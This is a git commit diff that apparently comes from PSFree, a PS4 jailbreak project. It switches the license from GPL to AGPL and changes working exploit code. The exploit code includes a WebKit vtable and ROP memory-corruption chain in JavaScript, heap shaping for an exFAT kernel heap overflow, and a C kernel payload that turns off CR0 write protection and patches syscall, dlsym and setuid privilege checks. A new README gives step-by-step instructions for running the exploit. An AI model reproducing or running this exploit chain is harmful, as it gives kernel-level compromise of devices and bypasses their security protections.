Update
This commit is contained in:
@@ -1,5 +1,5 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
GNU AFFERO GENERAL PUBLIC LICENSE
|
||||
Version 3, 19 November 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
@@ -7,17 +7,15 @@
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
The GNU Affero General Public License is a free, copyleft license for
|
||||
software and other kinds of works, specifically designed to ensure
|
||||
cooperation with the community in the case of network server software.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
our General Public Licenses are intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
software for all its users.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
@@ -26,44 +24,34 @@ them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
Developers that use our General Public Licenses protect your rights
|
||||
with two steps: (1) assert copyright on the software, and (2) offer
|
||||
you this License which gives you legal permission to copy, distribute
|
||||
and/or modify the software.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
A secondary benefit of defending all users' freedom is that
|
||||
improvements made in alternate versions of the program, if they
|
||||
receive widespread use, become available for other developers to
|
||||
incorporate. Many developers of free software are heartened and
|
||||
encouraged by the resulting cooperation. However, in the case of
|
||||
software used on network servers, this result may fail to come about.
|
||||
The GNU General Public License permits making a modified version and
|
||||
letting the public access it on a server without ever releasing its
|
||||
source code to the public.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
The GNU Affero General Public License is designed specifically to
|
||||
ensure that, in such cases, the modified source code becomes available
|
||||
to the community. It requires the operator of a network server to
|
||||
provide the source code of the modified version running there to the
|
||||
users of that server. Therefore, public use of a modified version, on
|
||||
a publicly accessible server, gives the public access to the source
|
||||
code of the modified version.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
An older license, called the Affero General Public License and
|
||||
published by Affero, was designed to accomplish similar goals. This is
|
||||
a different license, not a version of the Affero GPL, but Affero has
|
||||
released a new version of the Affero GPL which permits relicensing under
|
||||
this license.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
@@ -72,7 +60,7 @@ modification follow.
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
"This License" refers to version 3 of the GNU Affero General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
@@ -549,35 +537,45 @@ to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
13. Remote Network Interaction; Use with the GNU General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, if you modify the
|
||||
Program, your modified version must prominently offer all users
|
||||
interacting with it remotely through a computer network (if your version
|
||||
supports such interaction) an opportunity to receive the Corresponding
|
||||
Source of your version by providing access to the Corresponding Source
|
||||
from a network server at no charge, through some standard or customary
|
||||
means of facilitating copying of software. This Corresponding Source
|
||||
shall include the Corresponding Source for any work covered by version 3
|
||||
of the GNU General Public License that is incorporated pursuant to the
|
||||
following paragraph.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
under version 3 of the GNU General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
but the work with which it is combined will remain governed by version
|
||||
3 of the GNU General Public License.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
the GNU Affero General Public License from time to time. Such new versions
|
||||
will be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Program specifies that a certain numbered version of the GNU Affero General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
GNU Affero General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
versions of the GNU Affero General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
@@ -635,40 +633,29 @@ the "copyright" line and a pointer to where the full notice is found.
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
it under the terms of the GNU Affero General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
If your software can interact with users remotely through a computer
|
||||
network, you should also make sure that it provides a way for users to
|
||||
get its source. For example, if your program is a web application, its
|
||||
interface could display a "Source" link that leads users to an archive
|
||||
of the code. There are many ways you could offer source, and different
|
||||
solutions will be better for different programs; see section 13 for the
|
||||
specific requirements.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
For more information on this, and how to apply and follow the GNU AGPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
|
||||
@@ -1,117 +0,0 @@
|
||||
/* Copyright (C) 2024 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
import * as config from './config.mjs';
|
||||
|
||||
import { Int } from './module/int64.mjs';
|
||||
import { debug_log } from './module/utils.mjs';
|
||||
import { Addr, mem } from './module/mem.mjs';
|
||||
import { make_buffer } from './module/memtools.mjs';
|
||||
|
||||
import * as rw from './module/rw.mjs';
|
||||
import * as o from './module/offset.mjs';
|
||||
|
||||
const origin = window.origin;
|
||||
const port = '8000';
|
||||
const url = `${origin}:${port}`;
|
||||
|
||||
const offset_scrollLeft = (() => {
|
||||
switch (config.target) {
|
||||
case config.ps4_8_03: {
|
||||
return 0x1c8;
|
||||
}
|
||||
default: {
|
||||
throw RangeError(`invalid config.target: ${config.target}`);
|
||||
}
|
||||
}
|
||||
})();
|
||||
|
||||
const textarea = document.createElement('textarea');
|
||||
|
||||
// JSObject
|
||||
let addr = mem.addrof(textarea);
|
||||
// WebCore::HTMLTextAreaElement
|
||||
addr = addr.readp(0x18);
|
||||
const webcore_textarea = addr;
|
||||
// vtable for WebCore::HTMLTextAreaElement
|
||||
addr = addr.readp(0);
|
||||
const original_vtable = addr;
|
||||
|
||||
debug_log(`vtable: ${addr}`);
|
||||
const vtable = make_buffer(addr, 0x400);
|
||||
const fake_vtable = new Uint8Array(vtable);
|
||||
const fake_vtable_buffer = (
|
||||
mem.addrof(fake_vtable).read64(o.view_m_vector)
|
||||
);
|
||||
|
||||
const scrollLeft = rw.read64(fake_vtable, offset_scrollLeft);
|
||||
const scrollLeft_size = (() => {
|
||||
switch (config.target) {
|
||||
case config.ps4_8_03: {
|
||||
return 0xd7;
|
||||
}
|
||||
default: {
|
||||
throw RangeError(`invalid config.target: ${config.target}`);
|
||||
}
|
||||
}
|
||||
})();
|
||||
|
||||
function main() {
|
||||
const offset_vtable = 0;
|
||||
debug_log(`${offset_scrollLeft.toString(16)}: ${scrollLeft}`);
|
||||
webcore_textarea.write64(offset_vtable, fake_vtable_buffer);
|
||||
// jump to end of function
|
||||
rw.write64(
|
||||
fake_vtable,
|
||||
offset_scrollLeft,
|
||||
scrollLeft.add(scrollLeft_size)
|
||||
);
|
||||
// textarea.scrollLeft will usually return a 0, since we jumped to end of
|
||||
// WebCore::Element::scrollLeft() immediately, the return value is usually
|
||||
// not 0.
|
||||
debug_log(`scroll: ${textarea.scrollLeft}`);
|
||||
webcore_textarea.write64(offset_vtable, original_vtable);
|
||||
}
|
||||
|
||||
function rop2() {
|
||||
// eval() is a built-in function
|
||||
// We could use any built-in function, e.g. parseInt(), parseFloat(),
|
||||
// Date.prototype.getTime(), etc. Search for "host" functions at
|
||||
// WebKit/Source/JavaScriptCore/runtime at PS4 8.03.
|
||||
const func = eval;
|
||||
// JSC::JSFunction
|
||||
const js_function = mem.addrof(func);
|
||||
// JSFunction::m_executable
|
||||
// Since the function is built-in, m_executable is of type
|
||||
// JSC::NativeExecutable.
|
||||
const exec = js_function.readp(0x18);
|
||||
// NativeExecutable::m_function, pointer to the implementation of a
|
||||
// built-in function
|
||||
const offset_m_function = 0x38;
|
||||
exec.write64(
|
||||
offset_m_function,
|
||||
scrollLeft.add(scrollLeft_size) // jump to a ret instruction
|
||||
);
|
||||
debug_log(scrollLeft.add(scrollLeft_size));
|
||||
debug_log(exec.read64(offset_m_function));
|
||||
// must not evaluate since we changed m_function
|
||||
func('alert("hi")');
|
||||
debug_log('returned successfully');
|
||||
}
|
||||
|
||||
main();
|
||||
rop2();
|
||||
+16
-7
@@ -56,7 +56,7 @@ const ssv_len = (() => {
|
||||
}
|
||||
})();
|
||||
|
||||
const num_reuse = 0x4000;
|
||||
const num_reuse = 0x400;
|
||||
|
||||
// size of JSArrayBufferView
|
||||
const original_strlen = ssv_len - o.size_strimpl;
|
||||
@@ -64,7 +64,7 @@ const buffer_len = 0x20;
|
||||
// make sure this is large enough to ensure that enough strings will
|
||||
// occupy any gaps in in the relative read area so when are trying to leak the
|
||||
// JSArrayBufferView we won't hit any unmapped areas
|
||||
const num_str = 0x4000;
|
||||
const num_str = 0x400;
|
||||
const num_gc = 30;
|
||||
const num_space = 19;
|
||||
const original_loc = window.location.pathname;
|
||||
@@ -691,11 +691,16 @@ async function get_ready() {
|
||||
}
|
||||
|
||||
if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55")
|
||||
{
|
||||
import('./send.mjs');
|
||||
}
|
||||
|
||||
if (UA == "8.00" || UA == "8.01")
|
||||
{
|
||||
alert("No ROP implemented");
|
||||
}
|
||||
|
||||
if (UA == "8.00" || UA == "8.01" || UA == "8.03")
|
||||
if (UA == "8.03")
|
||||
{
|
||||
import('./rop/800.mjs');
|
||||
}
|
||||
@@ -713,14 +718,19 @@ async function get_ready() {
|
||||
import('./rop/900.mjs');
|
||||
}
|
||||
|
||||
if (UA == "9.03" || UA == "9.04")
|
||||
if (UA == "9.03")
|
||||
{
|
||||
import('./rop/903.mjs');
|
||||
}
|
||||
|
||||
if (UA == "9.50" || UA == "9.51" || UA == "9.60")
|
||||
if (UA == "9.04" || UA == "9.50" || UA == "9.51")
|
||||
{
|
||||
import('./rop/960.mjs');
|
||||
alert("No ROP implemented");
|
||||
}
|
||||
|
||||
if (UA == "9.60")
|
||||
{
|
||||
import('./rop/950.mjs');
|
||||
}
|
||||
|
||||
//get user agent for PS5 (taken from PS5 Specter Exploit Host)
|
||||
@@ -755,7 +765,6 @@ async function run() {
|
||||
await triple_free(s1, jsview, view_leak_arr, view_leak);
|
||||
|
||||
clear_log();
|
||||
|
||||
// path to your script that will use the exploit
|
||||
ExecRopByFw();
|
||||
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
The kernel exploit for the PS4 8.0x firmware series is based on pOOBs4.
|
||||
exfathax_pico.img is from pOOBs4. This is currently a work in progress.
|
||||
|
||||
steps:
|
||||
* write the exfathax_pico.img file to a USB drive
|
||||
$ dd if=exfathax_pico.img of=/dev/<your USB drive>
|
||||
* modify exploit.mjs to run rop/800.mjs:
|
||||
import('./code.mj') -> import('./rop/800.mjs')
|
||||
|
||||
loading the exploit:
|
||||
* have the browser load index.html
|
||||
* wait for the "insert USB" alert dialog to prompt you
|
||||
* Wait for this console notification to pop up: "This USB storage device's file
|
||||
system is unsupported".
|
||||
* close the "insert USB" alert dialog by clicking "OK"
|
||||
* keep closing future alert dialogs
|
||||
* once you reach a log saying "kernel exploit succeeded", you're done
|
||||
|
||||
exFAT heap overflow bug hackerone report:
|
||||
https://hackerone.com/reports/1340942
|
||||
|
||||
pOOBs4:
|
||||
https://github.com/ChendoChap/pOOBs4
|
||||
Binary file not shown.
+54
-47
@@ -18,59 +18,47 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
#include <stddef.h>
|
||||
|
||||
#include "types.h"
|
||||
|
||||
void enable_cr0_wp(void) {
|
||||
asm(
|
||||
"mov rax, cr0\n"
|
||||
"or rax, 0x10000\n"
|
||||
"mov cr0, rax\n"
|
||||
);
|
||||
}
|
||||
|
||||
void disable_cr0_wp(void) {
|
||||
asm(
|
||||
"mov rax, cr0\n"
|
||||
"and rax, ~0x10000\n"
|
||||
"mov cr0, rax\n"
|
||||
);
|
||||
}
|
||||
|
||||
inline void write8(void *addr, size_t offset, u8 value) {
|
||||
*(u8 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
inline void write16(void *addr, size_t offset, u16 value) {
|
||||
*(u16 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
inline void write32(void *addr, size_t offset, u32 value) {
|
||||
*(u32 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
inline void write64(void *addr, size_t offset, u64 value) {
|
||||
*(u64 *)(addr + offset) = value;
|
||||
}
|
||||
#include "utils.h"
|
||||
|
||||
// Args:
|
||||
// kbase: kernel base address
|
||||
// res:
|
||||
// Needed value to return (as to not crash) if the caller of the hijacked
|
||||
// function is expecting some valid value.
|
||||
// error:
|
||||
// Address to return an error. 0 for success.
|
||||
__attribute__((section (".text.start")))
|
||||
u64 kpatch(void *kbase, u64 res, u64 *error) {
|
||||
if (kbase == NULL) {
|
||||
if (error != NULL) {
|
||||
*error = -1;
|
||||
}
|
||||
|
||||
goto end;
|
||||
}
|
||||
u64 kpatch(u64 res, u64 *error) {
|
||||
// offset to fast_syscall()
|
||||
const size_t off_fast_syscall = 0x1c0;
|
||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
||||
|
||||
disable_cr0_wp();
|
||||
|
||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||
|
||||
// mov ecx, 0xffffffff ; at 0x490, patch to "mov ecx, 0"
|
||||
// mov rax, qword [r15 + 0x340] ; check if libkernel is loaded
|
||||
// test rax, rax
|
||||
// je not_loaded
|
||||
// ; 0x4b5 and 0x4b9 are replaced with NOPs so that we always reach
|
||||
// ; 0x4c2
|
||||
// ...
|
||||
// je target ; at 0x4c2, patch je to jmp
|
||||
// not_loaded:
|
||||
// test ecx, ecx, ; ecx = 0, always jump to target
|
||||
// je target
|
||||
// ...
|
||||
// target:
|
||||
// test byte [rbx + 0x469], 2
|
||||
// jne ...
|
||||
//
|
||||
// Following the target code path, you will at one point reach this:
|
||||
// lea rsi, [rbp + 0x78]
|
||||
// mov rdi, rbx
|
||||
// mov rax, qword [rbp + 0x80]
|
||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||
//
|
||||
// sy_call() is the function that will execute the requested syscall.
|
||||
write32(kbase, 0x490, 0);
|
||||
write16(kbase, 0x4b5, 0x9090);
|
||||
write16(kbase, 0x4b9, 0x9090);
|
||||
@@ -90,14 +78,33 @@ u64 kpatch(void *kbase, u64 res, u64 *error) {
|
||||
|
||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||
|
||||
// patch to alway jump regardless of the check before
|
||||
// call ...
|
||||
// mov r14, qword [rbp + 0xad0]
|
||||
// cmp eax, 0x4000000
|
||||
// jb ... ; patch je to jmp
|
||||
write8(kbase, 0x31953f, 0xeb);
|
||||
// patch called function to always return 0
|
||||
//
|
||||
// sys_dynlib_dlysm:
|
||||
// ...
|
||||
// mov edi, 0x10 ; 16
|
||||
// call patched_function ; kernel_base + 0x951c0
|
||||
// test eax, eax
|
||||
// je ...
|
||||
// mov rax, qword [rbp + 0xad8]
|
||||
// ...
|
||||
// patched_function: ; patch to "xor eax, eax; ret"
|
||||
// push rbp
|
||||
// mov rbp, rsp
|
||||
// ...
|
||||
write32(kbase, 0x951c0, 0xC3C03148);
|
||||
|
||||
// patch sys_setuid() to allow freely changing the effective user ID
|
||||
|
||||
// patch to alway jump regardless of the check before
|
||||
// ; PRIV_CRED_SETUID = 50
|
||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||
// test eax, eax
|
||||
// je ... ; patch je to jmp
|
||||
write8(kbase, 0x34d696, 0xeb);
|
||||
|
||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||
@@ -106,7 +113,7 @@ u64 kpatch(void *kbase, u64 res, u64 *error) {
|
||||
// u64 rdi;
|
||||
// u64 rsi;
|
||||
// u64 rdx;
|
||||
// u64 rdx;
|
||||
// u64 rcx;
|
||||
// u64 r8;
|
||||
// u64 r9;
|
||||
// }
|
||||
@@ -116,15 +123,15 @@ u64 kpatch(void *kbase, u64 res, u64 *error) {
|
||||
|
||||
// sysent[11]
|
||||
const size_t offset_sysent_11 = 0x10fc6e0;
|
||||
// .sy_narg = 2
|
||||
write32(kbase, offset_sysent_11, 2);
|
||||
// .sy_narg = 6
|
||||
write32(kbase, offset_sysent_11, 6);
|
||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||
write64(kbase, offset_sysent_11 + 8, kbase + 0xe629c);
|
||||
// .sy_thrcnt = SY_THR_STATIC
|
||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
||||
|
||||
// restore socketops.fo_chmod
|
||||
// it was used to initially to perform kernel code execution
|
||||
// it was used initially to perform kernel code execution
|
||||
write64(kbase, 0x1a76060, kbase + 0x3d0a60);
|
||||
|
||||
enable_cr0_wp();
|
||||
|
||||
+20
-7
@@ -1,16 +1,29 @@
|
||||
TARGET = 80x
|
||||
ENTRY = 0x900000000
|
||||
|
||||
CC = gcc
|
||||
|
||||
.PHONY: all
|
||||
all: ${TARGET}.elf
|
||||
all: $(TARGET).elf
|
||||
|
||||
OPTS = -O -Wno-int-conversion -fno-strict-aliasing -masm=intel -nostartfiles
|
||||
OPTS += -fwrapv -no-pie -Ttext=${ENTRY} -Tscript.ld -Wl,--build-id=none
|
||||
OPTS += -fwrapv-pointer
|
||||
CFLAGS = -O -Wno-int-conversion -fno-strict-aliasing -masm=intel -nostartfiles
|
||||
CFLAGS += -fwrapv -no-pie -Ttext=$(ENTRY) -Tscript.ld -Wl,--build-id=none
|
||||
CFLAGS += -fwrapv-pointer
|
||||
|
||||
${TARGET}.elf: ${TARGET}.c types.h
|
||||
gcc ${TARGET}.c -o ${TARGET}.elf ${OPTS}
|
||||
$(TARGET).elf: $(TARGET).o
|
||||
$(CC) $(TARGET).o -o $(TARGET).elf $(CFLAGS)
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
-rm -f *.elf
|
||||
-rm -f *.d *.o *.elf
|
||||
|
||||
%.d: %.c
|
||||
@set -e; \
|
||||
rm -f $@; \
|
||||
$(CC) -MM $(CPPFLAGS) $< > $@.$$$$; \
|
||||
sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $@.$$$$ > $@; \
|
||||
rm -f $@.$$$$;
|
||||
|
||||
src = $(TARGET).c
|
||||
|
||||
include $(src:.c=.d)
|
||||
|
||||
+2
-1
@@ -1,7 +1,8 @@
|
||||
SECTIONS
|
||||
{
|
||||
.text : { *(.text.start) *(.text) }
|
||||
.rodata : { *(.rodata) }
|
||||
.data : { *(.data) }
|
||||
.bss : { *(.bss) }
|
||||
/DISCARD/ : { *(.*) }
|
||||
/DISCARD/ : { *(.comment* .note*) }
|
||||
}
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
/* Copyright (C) 2024 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#include "types.h"
|
||||
|
||||
inline u64 rdmsr(u32 msr) {
|
||||
u32 low, high;
|
||||
|
||||
__asm __volatile("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
|
||||
return (low | ((u64)high << 32));
|
||||
}
|
||||
|
||||
void enable_cr0_wp(void) {
|
||||
asm(
|
||||
"mov rax, cr0\n"
|
||||
"or rax, 0x10000\n"
|
||||
"mov cr0, rax\n"
|
||||
);
|
||||
}
|
||||
|
||||
void disable_cr0_wp(void) {
|
||||
asm(
|
||||
"mov rax, cr0\n"
|
||||
"and rax, ~0x10000\n"
|
||||
"mov cr0, rax\n"
|
||||
);
|
||||
}
|
||||
|
||||
inline void write8(void *addr, size_t offset, u8 value) {
|
||||
*(u8 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
inline void write16(void *addr, size_t offset, u16 value) {
|
||||
*(u16 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
inline void write32(void *addr, size_t offset, u32 value) {
|
||||
*(u32 *)(addr + offset) = value;
|
||||
}
|
||||
|
||||
inline void write64(void *addr, size_t offset, u64 value) {
|
||||
*(u64 *)(addr + offset) = value;
|
||||
}
|
||||
+6
-5
@@ -35,11 +35,7 @@ export function make_buffer(addr, size) {
|
||||
// see possiblySharedBuffer() from
|
||||
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
|
||||
// at webkitgtk 2.34.4
|
||||
//
|
||||
// Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
|
||||
// associated with them, if we ask for view.buffer, the view will be
|
||||
// converted into a WastefulTypedArray and an ArrayBuffer will be created.
|
||||
//
|
||||
|
||||
// We will create an OversizeTypedArray via requesting an Uint8Array whose
|
||||
// number of elements will be greater than fastSizeLimit (1000).
|
||||
//
|
||||
@@ -66,6 +62,11 @@ export function make_buffer(addr, size) {
|
||||
const copy = new Uint8Array(u.length);
|
||||
copy.set(u);
|
||||
|
||||
// Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
|
||||
// associated with them, if we ask for view.buffer, the view will be
|
||||
// converted into a WastefulTypedArray and an ArrayBuffer will be created.
|
||||
// This is done by calling slowDownAndWasteMemory().
|
||||
//
|
||||
// We can't use slowDownAndWasteMemory() on u since that will create a
|
||||
// JSC::ArrayBufferContents with its m_data pointing to addr. On the
|
||||
// ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
|
||||
|
||||
+14
-14
@@ -635,7 +635,7 @@ class Chain800 extends Chain800Base {
|
||||
this.ta_clone.scrollLeft;
|
||||
}
|
||||
}
|
||||
const Chain = Chain803;
|
||||
const Chain = Chain800;
|
||||
|
||||
function init(Chain) {
|
||||
[libwebkit_base, libkernel_base, libc_base] = get_bases();
|
||||
@@ -788,6 +788,8 @@ function mlock_kchain(kchain) {
|
||||
|
||||
// pivots back to the original kernel stack with interrupts enabled
|
||||
function push_krop_end(kchain) {
|
||||
// leave
|
||||
// jmp gadgets['sti; ret']
|
||||
kchain.push_gadget('pop rcx; ret');
|
||||
kchain.push_value(kchain.get_gadget('sti; ret'));
|
||||
kchain.push_gadget('leave; jmp rcx');
|
||||
@@ -922,7 +924,7 @@ function prepare_knote(kchain) {
|
||||
|
||||
// malloc/free until the heap is shaped in a certain way, such that the exFAT
|
||||
// heap oveflow bug overwrites a struct klist
|
||||
function trigger_oob(kchain) {
|
||||
function trigger_oob(kchain, mmap_area) {
|
||||
const chain = new Chain();
|
||||
|
||||
const num_kqueue = 0x1b0;
|
||||
@@ -997,8 +999,9 @@ function trigger_oob(kchain) {
|
||||
const kretval = kchain.return_value;
|
||||
debug_log(`kchain retval: ${kretval}`);
|
||||
debug_log(kchain.jmp_buf);
|
||||
debug_log(new Addr(0x4000).read64(0));
|
||||
if (!kretval.eq('0xdeadbeefbeefdead')) {
|
||||
const check = mmap_area.read64(0);
|
||||
debug_log(check);
|
||||
if (kretval.eq(0)) {
|
||||
die('heap overflow failed');
|
||||
}
|
||||
debug_log('kernel ROP chain ran successfully');
|
||||
@@ -1091,10 +1094,9 @@ async function kexec_payload(kchain, sd, mmap_area, scratch) {
|
||||
const prot_rx = 5;
|
||||
// PROT_READ | PROT_WRITE
|
||||
const prot_rw = 3;
|
||||
const map_shared = 1;
|
||||
const MAP_SHARED = 1;
|
||||
|
||||
const exec_handle = chain.syscall('jitshm_create', 0, map_size, prot_rwx);
|
||||
|
||||
const write_handle = chain.syscall('jitshm_alias', exec_handle, prot_rw);
|
||||
|
||||
const exec_addr = new Addr(
|
||||
@@ -1103,7 +1105,7 @@ async function kexec_payload(kchain, sd, mmap_area, scratch) {
|
||||
'0x900000000',
|
||||
map_size,
|
||||
prot_rx,
|
||||
map_shared,
|
||||
MAP_SHARED, // this flag is required
|
||||
exec_handle,
|
||||
0,
|
||||
)
|
||||
@@ -1115,7 +1117,7 @@ async function kexec_payload(kchain, sd, mmap_area, scratch) {
|
||||
'0x910000000',
|
||||
map_size,
|
||||
prot_rw,
|
||||
map_shared,
|
||||
MAP_SHARED, // this flag is required
|
||||
write_handle,
|
||||
0,
|
||||
)
|
||||
